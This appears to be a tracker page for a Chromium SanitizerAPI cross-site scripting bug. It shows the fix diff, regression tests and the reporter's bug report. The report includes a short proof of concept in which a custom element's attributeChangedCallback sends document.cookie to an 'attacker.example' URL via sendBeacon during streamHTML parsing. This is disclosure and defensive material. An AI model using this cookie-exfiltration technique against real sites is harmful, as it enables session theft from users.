Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactCross-site scripting in SanitizerAPI
DescriptionCross-site scripting in SanitizerAPI
ComponentSanitizerAPI
Bug ClassLogic Error
Tracker538197156
Fix commitd24449812426 (chromium/src) +239/-2
CISA KEVNot listed
CreditedEli Ainhorn
Disclosed2026-09-08

Changed Functions

FunctionChangeNotes
DisallowedElement
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
constructor
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
connectedCallback
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified
for
third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
modified

Files Changed

  • third_party/blink/renderer/core/html/parser/html_construction_site.cc
  • third_party/blink/renderer/core/sanitizer/sanitizer.cc
  • third_party/blink/renderer/core/sanitizer/sanitizer.h
  • third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
From d24449812426052b36c7b73c1a5442923a812af2 Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <[email protected]>
Date: Tue, 28 Jul 2026 06:19:20 -0700
Subject: [PATCH] Block CE reactions from elements disallowed by sanitizer

This applies both to regular fragment parsing and to streaming.

We check the sanitizer early (when element is created) and avoid
initializing the CE definition if the element is anyway going to be
removed by the sanitizer.

Bug: 538197156
Change-Id: Ib10400043a54710060d84477c9b30513e4acc1d8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8158260
Reviewed-by: Daniel Vogelheim <[email protected]>
Commit-Queue: Noam Rosenthal <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1669408}
---

diff --git a/third_party/blink/renderer/core/html/parser/html_construction_site.cc b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
index 4aef66b..8e3e37a 100644
--- a/third_party/blink/renderer/core/html/parser/html_construction_site.cc
+++ b/third_party/blink/renderer/core/html/parser/html_construction_site.cc
@@ -1414,8 +1414,11 @@
   }
   // 8. Let definition be the result of looking up a custom element definition
   // given registry, given namespace, local name and is.
-  auto* definition =
-      LookUpCustomElementDefinition(document, tag_name, is, registry);
+  CustomElementDefinition* definition = nullptr;
+  if (!sanitizer_ || sanitizer_->IsElementAllowed(tag_name)) {
+    definition =
+        LookUpCustomElementDefinition(document, tag_name, is, registry);
+  }
   // "5. If definition is non-null and the parser was not originally created
   // for the HTML fragment parsing algorithm, then let will execute script
   // be true."
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.cc b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
index 5f67571..c47c621 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.cc
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.cc
@@ -132,6 +132,19 @@
   DCHECK(isValid());
 }
 
+bool Sanitizer::IsElementAllowed(const QualifiedName& name) const {
+  if (remove_elements_ && remove_elements_->Contains(name)) {
+    return false;
+  }
+  if (replace_elements_ && replace_elements_->Contains(name)) {
+    return false;
+  }
+  if (allow_elements_ && !allow_elements_->Contains(name)) {
+    return false;
+  }
+  return true;
+}
+
 bool Sanitizer::allowElement(
     const V8UnionSanitizerElementNamespaceWithAttributesOrString* element) {
   const QualifiedName name = getFrom(element);
diff --git a/third_party/blink/renderer/core/sanitizer/sanitizer.h b/third_party/blink/renderer/core/sanitizer/sanitizer.h
index 281251e..3e861d46 100644
--- a/third_party/blink/renderer/core/sanitizer/sanitizer.h
+++ b/third_party/blink/renderer/core/sanitizer/sanitizer.h
@@ -134,6 +134,7 @@
   // the insertion target, or discard the element. Returns the adjusted
   // insertion target, or null if the element is to be discarded.
   // This is used for streaming.
+  bool IsElementAllowed(const QualifiedName& name) const;
   Action SanitizeSingleNode(Node* node, Mode safe) const;
   bool ShouldReplaceNodeWithChildren(Node* node) const;
   void ProcessElement(Element* element, Mode safe) const;
@@ -215,6 +216,10 @@
     return sanitizer_->AllowIsAttribute(element_name);
   }
 
+  bool IsElementAllowed(const QualifiedName& element_name) const {
+    return sanitizer_->IsElementAllowed(element_name);
+  }
+
   void DidParseDocument(Document* document);
   void Trace(Visitor* visitor) const { visitor->Trace(sanitizer_); }
 
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+});
+
+const asyncMethods = [
+  "streamHTML", "streamAppendHTML", "streamPrependHTML",
+  "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+  "appendHTML", "prependHTML",
+  "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const writer = container[method](config.options).getWriter();
+      await writer.write("<disallowed-element></disallowed-element>");
+      await writer.close();
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      // Need to use the shadow root for streaming to test scoped registry
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      const writer = shadow[method](options).getWriter();
+      await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+      await writer.close();
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+
+for (const method of syncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      container[method]("<disallowed-element></disallowed-element>", config.options);
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
new file mode 100644
index 0000000..5bec06b
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/domparsing/tentative/stream-html-custom-element-sanitizer.html
@@ -0,0 +1,138 @@
+<!DOCTYPE HTML>
+<meta charset="utf-8">
+<title>HTML streaming and positional setting APIs block Custom Element constructors when sanitized</title>
+<link rel="help" href="https://github.com/WICG/sanitizer-api" />
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connected_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connected_called = true;
+  }
+});
+
+const asyncMethods = [
+  "streamHTML", "streamAppendHTML", "streamPrependHTML",
+  "streamHTMLUnsafe", "streamAppendHTMLUnsafe", "streamPrependHTMLUnsafe"
+];
+
+const syncMethods = [
+  "appendHTML", "prependHTML",
+  "appendHTMLUnsafe", "prependHTMLUnsafe"
+];
+
+for (const method of asyncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const writer = container[method](config.options).getWriter();
+      await writer.write("<disallowed-element></disallowed-element>");
+      await writer.close();
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    promise_test(async (t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      // Need to use the shadow root for streaming to test scoped registry
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      const writer = shadow[method](options).getWriter();
+      await writer.write("<disallowed-element-scoped></disallowed-element-scoped>");
+      await writer.close();
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+
+for (const method of syncMethods) {
+  for (const config of [
+    { name: "removeElements", options: { sanitizer: { removeElements: ["disallowed-element"] } } },
+    { name: "allowElements", options: { sanitizer: { elements: ["div"] } } }
+  ]) {
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      container[method]("<disallowed-element></disallowed-element>", config.options);
+
+      assert_equals(container.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped elements");
+    }, `${method} blocks CE constructor when element is dropped by sanitizer (${config.name})`);
+
+    test((t) => {
+      constructor_called = false;
+      connected_called = false;
+      const container = document.getElementById("container");
+      t.add_cleanup(() => container.replaceChildren());
+
+      const shadow = container.attachShadow({ mode: "open", registry });
+      t.add_cleanup(() => {
+        const newContainer = document.createElement("div");
+        newContainer.id = "container";
+        container.replaceWith(newContainer);
+      });
+
+      const options = config.name === "removeElements"
+        ? { sanitizer: { removeElements: ["disallowed-element-scoped"] } }
+        : { sanitizer: { elements: ["div"] } };
+
+      shadow[method]("<disallowed-element-scoped></disallowed-element-scoped>", options);
+
+      assert_equals(shadow.innerHTML, "");
+      assert_false(constructor_called, "Constructor should not be called for stripped scoped elements");
+      assert_false(connected_called, "ConnectedCallback should not be called for stripped scoped elements");
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by sanitizer (${config.name})`);
+  }
+}
+</script>
+</body>
diff --git a/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
new file mode 100644
index 0000000..2cd2c62
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/sanitizer-api/sanitizer-custom-elements-constructor.html
@@ -0,0 +1,78 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<div id="container"></div>
+<script>
+let constructor_called = false;
+let connectedCallback_called = false;
+
+class DisallowedElement extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+}
+customElements.define("disallowed-element", DisallowedElement);
+
+const registry = new CustomElementRegistry();
+registry.define("disallowed-element-scoped", class extends HTMLElement {
+  constructor() {
+    super();
+    constructor_called = true;
+  }
+  connectedCallback() {
+    connectedCallback_called = true;
+  }
+});
+
+function assert_removed(method, sanitizer, scoped = false) {
+  constructor_called = connectedCallback_called = false;
+
+  let d = document.createElement("div");
+  document.body.append(d);
+
+  let target = d;
+  if (scoped) {
+    target = d.attachShadow({ mode: "open", registry });
+  }
+
+  const tag = scoped ? "disallowed-element-scoped" : "disallowed-element";
+
+  if (method === "setHTML") {
+    target.setHTML(`<${tag}></${tag}>`, { sanitizer });
+  } else if (method === "setHTMLUnsafe") {
+    target.setHTMLUnsafe(`<${tag}></${tag}>`, { sanitizer });
+  }
+
+  assert_equals(target.innerHTML, ``);
+  assert_false(constructor_called, "Constructor should not be called");
+  assert_false(connectedCallback_called, "ConnectedCallback should not be called");
+
+  d.remove();
+}
+
+for (const method of ["setHTML", "setHTMLUnsafe"]) {
+  for (const config of [
+    { name: "removeElements", options: { removeElements: ["disallowed-element"] }, scopedOptions: { removeElements: ["disallowed-element-scoped"] } },
+    { name: "allowElements", options: { elements: ["div"] }, scopedOptions: { elements: ["div"] } }
+  ]) {
+    test(t => {
+      assert_removed(method, config.options, false);
+    }, `${method} blocks CE constructor when element is dropped by explicit sanitizer config (${config.name})`);
+
+    test(t => {
+      assert_removed(method, config.scopedOptions, true);
+    }, `${method} blocks CE constructor in scoped registry when element is dropped by explicit sanitizer config (${config.name})`);
+  }
+}
+
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements

Steps to reproduce the problem

  1. On a server, save the attached stream-ce-callback-poc.py and run python3 stream-ce-callback-poc.py
  2. Open http://VPS_IP:9590/ in Chrome 150
  3. The page defines a custom element <embed-widget> with observedAttributes: ['data-src'] whose attributeChangedCallback calls navigator.sendBeacon(val, ...) with the page’s document.cookie and URL
  4. Click “Render with streamHTML() (VULNERABLE)”
  5. Check the callback log: constructor() and attributeChangedCallback() fire during streamHTML, sendBeacon returns true, and the element is stripped after
  6. Check “Attacker callback server hits”: the beacon was received at the attacker endpoint containing the page’s cookie and URL
  7. Click “Render with setHTML() (SAFE)” to compare: zero callbacks fire, no beacon sent

Minimal inline reproduction:

class X extends HTMLElement {
  constructor() { super(); console.log('constructor fired'); }
  static get observedAttributes() { return ['data-x']; }
  attributeChangedCallback(n,o,v) {
    console.log('attributeChangedCallback:', v);
    navigator.sendBeacon(v, document.cookie);
  }
}
customElements.define('x-widget', X);

const div = document.createElement('div');
document.body.appendChild(div);

// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.

// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.

Problem Description

The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.

The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting. Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.

setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.

###Attack scenario A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization. An attacker includes the application’s custom element tags with attacker-controlled attribute values. The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs. The PoC demonstrates exfiltration of document.cookie to the attacker server this way.

Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().

Summary

streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements

Custom Questions

Reporter credit:

Eli Ainhorn

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

View on issue tracker
Links in the report